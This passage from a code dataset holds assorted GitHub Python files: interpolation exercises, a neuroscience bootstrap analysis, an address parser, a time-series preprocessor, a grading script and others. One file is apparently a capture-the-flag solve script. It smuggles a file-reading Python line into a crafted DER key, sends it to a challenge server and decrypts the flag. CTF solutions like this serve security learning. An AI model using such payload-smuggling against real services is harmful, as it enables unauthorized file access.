self.scanner_Start_Button_Widget.configure(state='disabled')\n\n","repo_name":"AJ6CU/uBITX-Settings-Editor","sub_path":"uBITX_Settings_Editor/ADCscanner.py","file_name":"ADCscanner.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"342352471","text":"import numpy as np\nfrom numpy.core.function_base import linspace\nfrom scipy import linalg\nfrom Algo_Horner import horn\nimport matplotlib.pyplot as plt\nfrom Alg_soleg import soleg\nfrom Alg_Lagrange import ilagrange\n\ndef ivander(x, y, z):\n\n    if len(x) != len(y):\n        print(\"Las listas x e y deben tener la misma longitud\")\n        return None\n\n    #creamos la matriz de tamaño correspondiente:\n    mvander = np.zeros((len(x), len(x)))\n\n    #rellenamos la matriz\n    for fila_i in range(len(x)):\n        for columna_i in range(len(x)):\n            mvander[fila_i, columna_i] = x[fila_i] ** columna_i\n    \n    #resolvemos el sistema asociado: mvander * w = y\n    coef = soleg(mvander, y)\n\n    #invertimos el vector coef para poder utilizarlo con horner\n    coef = np.flip(coef)\n    \n    #creamos y llenamos el vector resultante\n    w = []\n    for i in z:\n        w.append(horn(coef, i))\n     \n    return w\n\n\nx = np.linspace(0, 2*np.pi, 55)\ny = np.sin(x)\nz = np.linspace(0, 2*np.pi, 100)\n\nsol_ivander = ivander(x,y,z)\nsol_lagrange = ilagrange(x, y, z)\n\nplt.plot(z, sol_ivander, \"*\", label=\"Solucion ivander\", color = 'r')\nplt.plot(z, sol_lagrange, \"+\", label=\"Solucion Lagrange\", color = 'g')\nplt.plot(x, y, label=\"sen(x)\", color = 'b')\n\nplt.title(\"Ejercicio 1\")\nplt.ylabel(\"Eje Y\")\nplt.xlabel(\"Eje X\")\nplt.legend()\nplt.show()","repo_name":"fedevirgolini-unc/AnNum","sub_path":"Parcial2/ej1.py","file_name":"ej1.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28985292326","text":"import numpy as np\nnp.random.seed(875431)\nimport pandas as pd\nimport os\nimport astron_common_functions as astronfuns\nfrom synchrony_index_pinsky_rinzel import synchrony_index, average_synchrony_per_bins\nfrom matplotlib import pyplot as plt\n# plt.ion()\nimport h5py\n\n# ----------------------------\ndef loadh5pydata(fname,dataname):\n    with h5py.File(fname,'r') as h5fp:\n        print(list(h5fp.keys()))\n        data = h5fp[dataname][:]\n        return(data)\n# ----------------------------\n# datasavepath = \"/home/anup/goofy/data/suhitalab/astron/cooked/new_2020_python/ap1to1000dhz30s\"\n# h5pyfname = \"ap1to1000dhz30s_cacyt_rel_synchrony.hdf5\"\n# dir1 = \"/home/anup/astron_data/frap30scarel_processed/\"\n# fnameves = \"frap30scacytrel_vesdist.mat\"\n# fnamedmaxtcacyt = \"frap30scarel_dmaxtcacyt.mat\"\n# fnamedmaxtrel = \"frap30scarel_dmaxtrel.mat\"\n# dmaxtcacyt = astronfuns.loadh5pydata(os.path.join(dir1,fnamedmaxtcacyt),\"dmaxtcacyt\") # releases between 200 - 230\n# dmaxtrel = astronfuns.loadh5pydata(os.path.join(dir1,fnamedmaxtrel),\"dmaxtrel\")\n# allfreqs = [np.int(item) for item in loadh5pydata(os.path.join(dir1,fnameves),\"stimfreqs\")[:,0]*10]\n# print(allfreqs)\n# input(\"Press a key to continue......\")\n# -------------------\ndatasavepath = \"/home/anup/goofy/data/suhitalab/astron/cooked/new_2020_python/ap1to1000dhz30s0noise\"\nh5pyfname = \"ap1to1000dhz30s0noise_cacyt_rel_synchrony.hdf5\"\ndir1 = \"/home/anup/goofy/data/suhitalab/astron/cooked/new_2020_python/ap1to1000dhz30s0noise/\"\nfnameh5py = \"ap1to1000dhz30s0noise_cacyt_rel_vdoc_vmob.hdf5\"\ndmaxtcacyt = loadh5pydata(os.path.join(dir1,fnameh5py),\"dmaxtcacyt\") # releases between 200 - 230\ndmaxtrel = loadh5pydata(os.path.join(dir1,fnameh5py),\"dmaxtrel\")\nallfreqs = loadh5pydata(os.path.join(dir1,fnameh5py),\"freqs\")\nprint(allfreqs)\ninput(\"Press a key to continue.................\")\n# ----------------------------\ngroups = [\"ctrl\",\"admglur\",\"adpmca\",\"admglurpmca\"]\n# groups = [\"ctrl\"]\n# freqs = [4,5,6,7,8,9,10,20,30,40,50,60,70,80,90,100,200,300,400,500,600,700,800,900,1000]\nfreqs = [4,5,6,7,8,9,10,20,30,40,50,60,70,80,90,100,200,300,400,500,600,700,800,900,1000]\n_,ifreqs,_ = np.intersect1d(allfreqs,freqs,return_indices=True)\ntstart = 200\ntstop=230\nnboot = 1000\nnsamples = 1000\nngroups = len(groups)\nnfreqs = len(freqs)\nntrials = 1000\nbinwidth = 100e-3\ntbins = np.arange(binwidth,(5100e-3),binwidth)\nsyncacyt = np.zeros((ngroups,nfreqs,len(tbins),nboot),dtype=np.float)\nsynrel = np.zeros((ngroups,nfreqs,len(tbins),nboot),dtype=np.float)\n# --------------------------\nfor igroup in range(0,ngroups):\n    for ifreqind,ifreq in zip(range(0,nfreqs),ifreqs):\n        print(\"Running bootstrap :  freq: {}, group: {}\".format(allfreqs[ifreq],groups[igroup]))\n        for iboot in range(0,nboot):\n            trials = np.random.choice(np.arange(0,nsamples),nsamples,replace = True)\n            # print(trials)\n            # print(\"Running bootstrap  : {}, freq: {}, group: {}\".format(iboot,allfreqs[ifreq],groups[igroup]))\n            # timescacytbatch = dmaxtcacyt[igroup,ifreq,:,trials] # ap1to1000dhz30s\n            # timesrelbatch = dmaxtrel[igroup,ifreq,:,trials]     # ap1to1000dhz30s\n            timescacytbatch = dmaxtcacyt[igroup,ifreq,trials,:] # ap1to1000dhz30s0noise\n            timesrelbatch = dmaxtrel[igroup,ifreq,trials,:]     # ap1to1000dhz30s0noise\n            # ----------------\n            dtscacyt,rscacyt = synchrony_index(timescacytbatch,tstart,tstop)\n            dtsrel,rsrel = synchrony_index(timesrelbatch,tstart,tstop)\n            # ---------------\n            # average synchrony within time bins\n            rscacyt = average_synchrony_per_bins(dtscacyt,rscacyt,tbins)\n            rsrel = average_synchrony_per_bins(dtsrel,rsrel,tbins)\n            syncacyt[igroup,ifreqind,:,iboot] = rscacyt\n            synrel[igroup,ifreqind,:,iboot] = rsrel\n            # } iboot\n    # } ifreq\n# } igroup\n\n# --------  save data ----------------\n# with h5py.File(os.path.join(datasavepath,h5pyfname),'w') as h5f:\n#     # {\n#     dset1 = h5f.create_dataset(\"freqs\",data=freqs)\n#     dset2 = h5f.create_dataset(\"tbins\",data=tbins)\n#     dset3 = h5f.create_dataset(\"syncacyt\",data=syncacyt)\n#     dset5 = h5f.create_dataset(\"synrel\",data=synrel)\n    # }\n","repo_name":"anupgp/astron","sub_path":"analysis/ap1to1000dhz30s_analyze_save_synchrony.py","file_name":"ap1to1000dhz30s_analyze_save_synchrony.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28549708603","text":"\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\n\n\nclass Vectorizer:\n\n    def __init__ (self, ngram_count=2, type='ngram'):\n        self.n = ngram_count\n        self.type = type\n        if self.type == 'tfidf':\n            self.vec = TfidfVectorizer(ngram_range=(self.n, self.n), norm=None, min_df=5, max_df=0.7)\n        elif self.type == 'ngram':\n            self.vec = CountVectorizer(ngram_range=(self.n, self.n))\n            #self.vec = CountVectorizer()\n        else:\n            raise Exception ('type is not valid.')\n\n    def get_features(self):\n        return self.vec.get_feature_names()\n\n    def vectorize(self, samples, to_array=True):\n        result = self.vec.fit_transform(samples)\n        if to_array:\n            return result.toarray()\n        return result\n\n","repo_name":"zahimizrahi/FraudDetection","sub_path":"Vectorizer.py","file_name":"Vectorizer.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"70307818752","text":"import pandas as pd\r\nimport numpy as np\r\nfrom cleanText import text_clean, clearColumns\r\nimport json\r\ntextTest = \". KHU PHO TAN BINH P.TAN BINH HUYEN DONG XOAI BINH PHUOC\"\r\nfilename = \"data/provinceLib.csv\"\r\nrenameObject = {\r\n    \"Tỉnh Thành Phố\": \"province\",\r\n    \"Quận Huyện\": \"district\",\r\n    \"Phường Xã\": \"civil\",\r\n    \"Cấp\": \"civil_level\"\r\n}\r\nwith open('./abbreviation.json') as f:\r\n    provinceAbbreviation = json.load(f)\r\ndf = pd.read_csv(filename)\r\ndf = df.rename(index=str, columns=renameObject)\r\n\r\n\r\ndef parseLocation():\r\n    provinceList = [text_clean(item) for item in df[\"province\"].unique()]\r\n    districtList = [text_clean(item) for item in df[\"district\"].unique()]\r\n    civilList = [text_clean(item) for item in df[\"civil\"].unique()]\r\n    return provinceList, districtList, civilList\r\n\r\nprovinceList, districtList, civilList = parseLocation()\r\ndef textTransfer(text):\r\n    listTemp = text.split()\r\n    for i in range(len(listTemp)):\r\n        if (listTemp[i] in provinceAbbreviation):\r\n            listTemp[i] = provinceAbbreviation[listTemp[i]]\r\n    text = ' '.join(listTemp)\r\n    textTemp = text_clean(text)\r\n    textFinal = textTemp\r\n    for item in provinceList:\r\n        if (item in textTemp):\r\n            textTemp = textTemp.replace(item, \"\")\r\n            textFinal = textFinal.replace(item, \",\"+item)\r\n            break\r\n    for item in districtList:\r\n        if (item in textTemp):\r\n            textTemp = textTemp.replace(item, \"\")\r\n            textFinal = textFinal.replace(item, \",\"+item)\r\n            break\r\n    for item in civilList:\r\n        if (item in textTemp):\r\n            textTemp = textTemp.replace(item, \"\")\r\n            textFinal = textFinal.replace(item, \",\"+item)\r\n            break\r\n    return clearColumns(textFinal)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    provinceList, districtList, civilList = parseLocation()\r\n    print(textTransfer('TO 1 TAN LAP-PHUONG PHUONG DONG-THANH PHO UONG BI-TINH QUANG NINH-VIET NAM'))\r\n","repo_name":"thanhtonvk/VietNam-Location-Extractor","sub_path":"inputData.py","file_name":"inputData.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4017887854","text":"import asyncio\nimport websockets\n\n\nasync def point(websocket):\n    file_path = 'point_data\\\\point.json'\n    while True:\n        with open(file_path,'r', encoding='utf-8_sig') as f:\n            data_lines = f.read()\n\n        await websocket.send(str(data_lines))\n        await asyncio.sleep(0.1)\n\n\nasync def main():\n    async with websockets.serve(point, \"localhost\", 2222):\n        await asyncio.Future()  # run forever\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n","repo_name":"naofumi1014/OBS-SPORTSCODER","sub_path":"point-obs.py","file_name":"point-obs.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29314416426","text":"OPAQUE = 255\nTRANSPARENT = 0\n\n\ndef _build_zoom_mapping(conf=None, MAX_ZOOM=31):\n    \"\"\"Build and return the zoom_to_opacity mapping\n\n    This is a mapping of zoom levels to opacity levels. It is applied in \n    addition to any per-pixel alpha from the color scheme.\n\n    \"\"\"\n    if conf is None:\n        from gheat import MAX_ZOOM, conf # won't use these in testing\n\n\n    # Read and validate configuration.\n    # ================================\n\n    zoom_opaque = conf.get('zoom_opaque', '-15')\n    try:\n        zoom_opaque = int(zoom_opaque)\n    except ValueError:\n        raise ConfigurationError(\"zoom_opaque must be an integer.\")\n    \n    zoom_transparent = conf.get('zoom_transparent', '15')\n    try:\n        zoom_transparent = int(zoom_transparent)\n    except ValueError:\n        raise ConfigurationError(\"zoom_transparent must be an integer.\")\n\n\n\n    # Build the mapping.\n    # ==================\n\n    num_opacity_steps = zoom_transparent - zoom_opaque\n    zoom_to_opacity = dict()\n    if num_opacity_steps < 1:               # don't want general fade\n        for zoom in range(0, MAX_ZOOM + 1):\n            zoom_to_opacity[zoom] = None \n    else:                                   # want general fade\n        opacity_step = OPAQUE / float(num_opacity_steps) # chunk of opacity\n        for zoom in range(0, MAX_ZOOM + 1):\n            if zoom <= zoom_opaque:\n                opacity = OPAQUE \n            elif zoom >= zoom_transparent:\n                opacity = TRANSPARENT\n            else:\n                opacity = int(OPAQUE - ((zoom - zoom_opaque) * opacity_step))\n            zoom_to_opacity[zoom] = opacity\n\n    return zoom_to_opacity\n\nzoom_to_opacity = _build_zoom_mapping()\n\n","repo_name":"chadwhitacre/gheat","sub_path":"__/lib/python/gheat/opacity.py","file_name":"opacity.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"41333659158","text":"# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\nclass Solution:\n    def invertTree(self, root: TreeNode) -> TreeNode:\n        if root is not None:\n            root.left, root.right = root.right, root.left\n            root.left = self.invertTree(root.left)\n            root.right = self.invertTree(root.right)\n        return root\n\n\n\n\nroot = TreeNode(4)\nroot.left = TreeNode(2)\nroot.right = TreeNode(7)\nroot.left.left = TreeNode(1)\nroot.left.right = TreeNode(3)\nroot.right.left = TreeNode(6)\nroot.right.right = TreeNode(9)\n\nsolution = Solution()\nres = solution.invertTree(root)\nprint(res.val)\nprint(res.left.val)\nprint(res.right.val)\nprint(res.left.left.val)\nprint(res.left.right.val)\nprint(res.right.left.val)\nprint(res.right.right.val)","repo_name":"shovha/leetcode-problem-solutions","sub_path":"InvertBinaryTree.py","file_name":"InvertBinaryTree.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43130686917","text":"\"\"\"\nSettings for embeddable widgets\n\"\"\"\nfrom django.utils.translation import ugettext as _\nfrom django.utils.html import escape\nfrom askbot.conf.settings_wrapper import settings\nfrom askbot.deps.livesettings import ConfigurationGroup\nfrom askbot.deps.livesettings import values\nfrom askbot.conf.super_groups import CONTENT_AND_UI\n\nEMBEDDABLE_WIDGETS = ConfigurationGroup(\n    'EMBEDDABLE_WIDGETS',\n    _('Embeddable widgets'),\n    super_group = CONTENT_AND_UI\n)\n\n#we need better capabilities for the settings here\n#\n\nsettings.register(\n    values.IntegerValue(\n        EMBEDDABLE_WIDGETS,\n        'QUESTIONS_WIDGET_MAX_QUESTIONS',\n        default = 7,\n        description = _('Number of questions to show'),\n        help_text = escape(\n            _(\n                'To embed the widget, add the following code '\n                'to your site (and fill in correct base url, preferred tags, width and height):'\n                '<iframe '\n                'src=\"{{base_url}}/widgets/questions?tags={{comma-separated-tags}}\" '\n                'width=\"100%\" '\n                'height=\"300\"'\n                'scrolling=\"no\">'\n                '<p>Your browser does not support iframes.</p>'\n                '</iframe>'\n            )\n        )\n    )\n)\nsettings.register(\n    values.LongStringValue(\n        EMBEDDABLE_WIDGETS,\n        'QUESTIONS_WIDGET_CSS',\n        default = \"\"\"\nbody {\n    overflow: hidden;\n}\n#container {\n    width: 200px;\n    height: 350px;\n}\nul {\n    list-style: none;\n    padding: 5px;\n    margin: 5px;\n}\nli {\n    border-bottom: #CCC 1px solid;\n    padding-bottom: 5px;\n    padding-top: 5px;\n}\nli:last-child {\n    border: none;\n}\na {\n    text-decoration: none;\n    color: #464646;\n    font-family: 'Yanone Kaffeesatz', sans-serif;\n    font-size: 15px;\n}\n\"\"\",\n        descripton = _('CSS for the questions widget')\n    )\n)\n\nsettings.register(\n    values.LongStringValue(\n        EMBEDDABLE_WIDGETS,\n        'QUESTIONS_WIDGET_HEADER',\n        description = _('Header for the questions widget'),\n        default = ''\n    )\n)\n\nsettings.register(\n    values.LongStringValue(\n        EMBEDDABLE_WIDGETS,\n        'QUESTIONS_WIDGET_FOOTER',\n        description = _('Footer for the questions widget'),\n        default = \"\"\"\n<link \n    href='http://fonts.googleapis.com/css?family=Yanone+Kaffeesatz:300,400,700'\n    rel='stylesheet'\n    type='text/css'\n>\n\"\"\"\n    )\n)\n","repo_name":"samhoo/askbot-realworld","sub_path":"askbot/conf/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"33568812825","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport torch\n\nfrom difflogscaler import DiffLogScaler\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom tqdm.notebook import tqdm\n\n\nclass Preprocessor:\n    def __init__(\n        self,\n        dataset: np.ndarray,\n        max_pred_horizon: int = 28,\n        max_train_horizon: int = 30,\n        dim_size: int = 5,\n        device=None,\n    ):\n        \"\"\"\n        dataset = [num_samples, dimentions]\n        \"\"\"\n        self.dataset = dataset[:, :dim_size]\n        self.raw_dataset = dataset[:, :dim_size]\n        self.max_pred_horizon = max_pred_horizon\n        self.max_train_horizon = max_train_horizon\n        self.dim_size = dim_size\n        self.device = device\n        self.scaler = None\n        self.train_size = None\n        self.val_size = None\n        self.test_size = None\n        self.x_train = None\n        self.y_train = None\n        self.x_val = None\n        self.y_val = None\n        self.x_test = None\n        self.y_test = None\n        self.batch_size = None\n\n    def scale(\n        self,\n        scaler=DiffLogScaler,\n    ):\n        \"\"\"\n        Scaler needs to be smth like sklearn transformer\n        \"\"\"\n        self.scaler = scaler()\n        self.dataset = self.scaler.fit_transform(self.dataset)\n\n    def get_scaled_back(\n        self,\n        dataset: np.ndarray,\n    ) -> np.ndarray:\n        if self.scaler is not None:\n            return self.scaler.inverse_transform(dataset)\n        return dataset\n\n    def _plot_row(\n        self,\n        row: int,\n    ):\n        plt.figure(figsize=(12, 8))\n        plt.title('{} row'.format(str(row)))\n        if self.scaler is None:\n            plt.plot(self.dataset[:, row])\n        else:\n            plt.plot(self.scaler.inverse_transform(self.dataset)[:, row])\n        if self.train_size is not None:\n            plt.axvline(x=self.train_size)\n        if self.val_size is not None:\n            plt.axvline(x=self.train_size+self.val_size)\n        plt.show()\n\n    def plot_dataset(\n        self,\n        row: int = None,\n    ):\n        if row is None:\n            for i in range(self.dataset.shape[1]):\n                self._plot_row(row=i)\n        else:\n            self._plot_row(row=row)\n\n    def get_data(\n        self,\n        name: str,\n        torch_tensor=True,\n    ) -> torch.Tensor:\n        if name not in [\n            'x_train', 'x_val', 'x_test',\n            'y_train', 'y_val', 'y_test',\n        ]:\n            raise AttributeError(\"Private field cannot be accessed\")\n        else:\n            if torch_tensor:\n                return torch.Tensor(getattr(self, name)).to(self.device)\n            return getattr(self, name)\n\n    def get_dataloader(\n        self,\n        name: str,\n        batch_size=128,\n    ) -> torch.utils.data.DataLoader:\n        self.batch_size = batch_size\n        if name not in [\n            'train', 'val', 'test',\n        ]:\n            raise TypeError(\"Incorrect type\")\n        x = torch.Tensor(getattr(self, 'x_'+name)).to(self.device)\n        y = torch.Tensor(getattr(self, 'y_'+name)).to(self.device)\n        if x is None:\n            raise TypeError(\"Doesn't have the field of this type\")\n        if name == 'train':\n            return DataLoader(\n                TensorDataset(x, y),\n                shuffle=True,\n                batch_size=batch_size,\n            )\n        return DataLoader(\n            TensorDataset(x, y),\n            shuffle=False,\n            batch_size=batch_size,\n        )\n\n    def _make_x_part(\n        self,\n        begin: int,\n        end: int,\n        use_tqdm: bool = True,\n    ) -> np.ndarray:\n        \"\"\"\n        x = [num_samples, max_train_horizon, dim_size]\n        \"\"\"\n        x = self.dataset[begin:begin+self.max_train_horizon,\n                         :][np.newaxis, :, :]\n        if use_tqdm:\n            for i in tqdm(range(begin+1, end)):\n                new_elem = self.dataset[i:i+self.max_train_horizon,\n                                        :][np.newaxis, :, :]\n                x = np.concatenate((x, new_elem))\n        else:\n            for i in range(begin+1, end):\n                new_elem = self.dataset[i:i+self.max_train_horizon,\n                                        :][np.newaxis, :, :]\n                x = np.concatenate((x, new_elem))\n        return x\n\n    def _make_y_part(\n        self,\n        begin: int,\n        end: int,\n        use_tqdm: bool = True,\n    ) -> np.ndarray:\n        \"\"\"\n        y = [num_samples, max_pred_horizon, dim_size]\n        \"\"\"\n        y = self.dataset[begin+self.max_train_horizon:begin +\n                         self.max_train_horizon+self.max_pred_horizon,\n                         :][np.newaxis, :, :]\n        if use_tqdm:\n            for i in tqdm(range(begin+1+self.max_train_horizon,\n                                end+self.max_train_horizon)):\n                new_elem = self.dataset[i:i+self.max_pred_horizon,\n                                        :][np.newaxis, :, :]\n                y = np.concatenate((y, new_elem))\n        else:\n            for i in range(begin+1+self.max_train_horizon,\n                           end+self.max_train_horizon):\n                new_elem = self.dataset[i:i+self.max_pred_horizon,\n                                        :][np.newaxis, :, :]\n                y = np.concatenate((y, new_elem))\n        return y\n\n    def train_test_split(\n        self,\n        train_size: int,\n        use_tqdm: bool = True,\n    ):\n        self.val_size = None\n        self.x_val, self.y_val = None, None\n        self.train_size = train_size\n        self.test_size = self.dataset.shape[0] - self.max_train_horizon -\\\n            self.max_pred_horizon - self.train_size\n        self.x_train = self._make_x_part(\n            begin=0,\n            end=train_size,\n            use_tqdm=use_tqdm\n        )\n        self.y_train = self._make_y_part(\n            begin=0,\n            end=train_size,\n            use_tqdm=use_tqdm\n        )\n        self.x_test = self._make_x_part(\n            begin=train_size,\n            end=self.dataset.shape[0]-self.max_train_horizon\n            - self.max_pred_horizon,\n            use_tqdm=use_tqdm\n        )\n        self.y_test = self._make_y_part(\n            begin=train_size,\n            end=self.dataset.shape[0]-self.max_train_horizon\n            - self.max_pred_horizon,\n            use_tqdm=use_tqdm\n        )\n\n    def train_val_test_split(\n        self,\n        train_size: int,\n        val_size: int,\n        use_tqdm: bool = True,\n    ):\n        self.train_size = train_size\n        self.val_size = val_size\n        self.test_size = self.dataset.shape[0] - self.max_train_horizon -\\\n            self.max_pred_horizon - train_size - val_size\n        self.x_train = self._make_x_part(\n            begin=0,\n            end=train_size,\n            use_tqdm=use_tqdm\n        )\n        self.y_train = self._make_y_part(\n            begin=0,\n            end=train_size,\n            use_tqdm=use_tqdm\n        )\n        self.x_val = self._make_x_part(\n            begin=train_size,\n            end=train_size+val_size,\n            use_tqdm=use_tqdm\n        )\n        self.y_val = self._make_y_part(\n            begin=train_size,\n            end=train_size+val_size,\n            use_tqdm=use_tqdm\n        )\n        self.x_test = self._make_x_part(\n            begin=train_size+val_size,\n            end=self.dataset.shape[0]-self.max_train_horizon\n            - self.max_pred_horizon,\n            use_tqdm=use_tqdm\n        )\n        self.y_test = self._make_y_part(\n            begin=train_size+val_size,\n            end=self.dataset.shape[0]-self.max_train_horizon\n            - self.max_pred_horizon,\n            use_tqdm=use_tqdm\n        )\n","repo_name":"polgrisha/Devops_ML_Team","sub_path":"project/time_series/models/CatBoostModel/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":7665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74343713792","text":"#!/usr/bin/env python3\nfrom pwn import remote, args, logging\nfrom Crypto.Util.number import bytes_to_long, long_to_bytes\nfrom math import prod\nimport sys\n\n\ndef main():\n    logging.disable()\n    pyscript = b\"\\nprint(*open('flag.txt'))#1337\"\n    assert len(pyscript) == 30\n    n = bytes_to_long(pyscript)\n    e = 5\n    factors = [\n        47,\n        7105738723,\n        619270185563,\n        348370083718991636917731952656327698359955621449,\n    ]\n    assert prod(factors) == n\n\n    # useful links:\n    # - https://github.com/wiml/derlite\n    data = []\n    data.append(0x30)  # magic number (TAG for constructed sequence)\n    data.extend(b\"#\")  # total length (after this) = 35\n\n    data.append(0x02)  # integer N, remaining lenght 34\n    data.append(30)  # length of integer = 30, remaining length 33\n    data.extend(pyscript)  # payload, remaining length 3\n\n    data.append(0x02)  # integer E, remaining lenght 2\n    data.append(0x01)  # length of integer = 1, remaining length 1\n    data.append(e)  # value of integer\n\n    assert len(data) == 35 + 2\n    payload = bytes(data)\n\n    r = remote(args[\"HOST\"], int(args[\"PORT\"]))\n    r.sendlineafter(b\"Send me your script: \", payload.hex().encode())\n    r.sendlineafter(b\"Send me your public key: \", b\"00\")\n    r.recvuntil(b\"Here is your encrypted output: \\n\")\n    res = bytes.fromhex(r.recvline(keepends=False).decode())\n\n    c = bytes_to_long(res)\n    phi = prod([p - 1 for p in factors])\n    d = pow(e, -1, phi)\n    m = pow(c, d, n)\n    if \"ifctf\" in long_to_bytes(m).decode():\n        print(\"OK - flag found\")\n        exit(0)\n    print(\"ERR - flag not found\")\n    exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"fibonhack/ifctf-2023-quals-challs","sub_path":"misc/typo/solve/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26415029605","text":"# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution(object):\n    \n    def partition(self, head, x):\n        \n        if head is None or head.next is None:\n            return head\n        fst_head = ListNode(1)\n        fst_tail = fst_head\n        \n        snd_head = ListNode(1)\n        snd_tail = snd_head\n        \n        current = head\n        while current is not None:\n            temp = current.next\n            if current.val < x:\n                fst_tail.next = current\n                fst_tail = fst_tail.next\n                fst_tail.next = None\n            else :\n               snd_tail.next = current\n               snd_tail = snd_tail.next\n               snd_tail.next = None\n                \n            current = temp\n            \n        fst_tail.next = snd_head\n        \n        fst_tail.next = fst_tail.next.next\n        return fst_head.next\n","repo_name":"wallacegui/leetcode","sub_path":"086. 分隔链表.py","file_name":"086. 分隔链表.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"21837165992","text":"\"\"\"\nQ1 is a script that returns, for each student, their ID and the total number of points they have scored. \n \nYou should create and write your results into a .csv file\nwith 2 columns, one named \"Username\" (*exactly* what's between the quotes)\nand \"RawMark\" (*exactly* what's between the quotes).\n\nThe stub contains three function stubs, `read_data_file`, `calculate_grades`, and\n`write_report`. You should modify the bodies of these functions so they behave\nappropriately.\n\nYou can replace the whole body of these functions if you wish, but they must be call-able\nwith the given arguments.\n\"\"\"\n\n# You may not import *any other modules*. This is the final and only import structure!\n# You will want to use the Decimal class in case some marks are fractional (e.g., 4.5 out of 5)\n\nimport csv\nfrom decimal import Decimal\n\ndef smart_round(x,n): #function rounds float to 2 decimal points and return str type\n    return str(Decimal(x).quantize(Decimal('0.00')))\n\ndef read_data_file(filename):\n    _dict = {}\n    with open(filename) as csvfile:\n        # There are two parsing classes in Python's standard csv module,\n        # the object returned by `reader` and DictReader.\n        # Pick the one you prefer!\n        # https://docs.python.org/3.8/library/csv.html#reader-objects\n        reader =  csv.DictReader(csvfile)\n        for row in reader:\n            score = 0\n            if(row['Auto Score']) == '':\n                score = float(row['Manual Score'])\n            else:\n                score= float(row['Auto Score']) \n            if(row['Username'] in _dict):\n                _dict[row['Username']] = score + _dict[row['Username']]\n            else:\n                _dict[row['Username']] = score\n        # You'll want to pull in the data into a data structure of your choice\n        # e.g., a list of lists, a list of dictionaries...whatever you find convenient.\n        # The different readers return different representations of rows.\n    return _dict\n        \ndef calculate_raw_grades(data):\n        # You need to define your own data structure for collecting\n        # grades for each student. We put in a dummy list just to make\n        # the stub run. You should carefully consider what structure is\n        # appropriate.\n        grades = data\n        return grades\n\ndef write_report(grades, filename):        \n    with open(filename, 'w') as outfile:\n        # Again, we just put \"writer\" as a default. You may prefer a DictWriter\n        headerNames = ['Username','RawMark']\n        writer = csv.DictWriter(outfile,fieldnames = headerNames)\n        writer.writeheader()\n        for each in grades.items():\n            writer.writerow({headerNames[0]:each[0], headerNames[1]: smart_round(each[1],2)})\n\n# Do not alter the code below here!\n# This is used by the test harness!\n# If you are interested in how it works, read the module documentation for argparse.\n# argparse makes writing reasonably robust command line tools pretty easy.\n\nif __name__ == '__main__':\n    # Importing here is not standard, but convenient for this assignment.\n    import argparse\n    parser = argparse.ArgumentParser(description='Calculate some raw grades!')\n    parser.add_argument('source', type=str, default='exam_for_2020.csv', nargs='?',\n                    help='the name of the csv file with grade data to be processed')\n    parser.add_argument('target', type=str, default='q1Out.csv', nargs='?',\n                    help='the name of the csv file where processed data gets written')\n\n    args = parser.parse_args()\n    data = read_data_file(args.source)\n    write_report(calculate_raw_grades(data), args.target)\n","repo_name":"SZyooo/Modeling-data-on-the-web","sub_path":"CW1/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
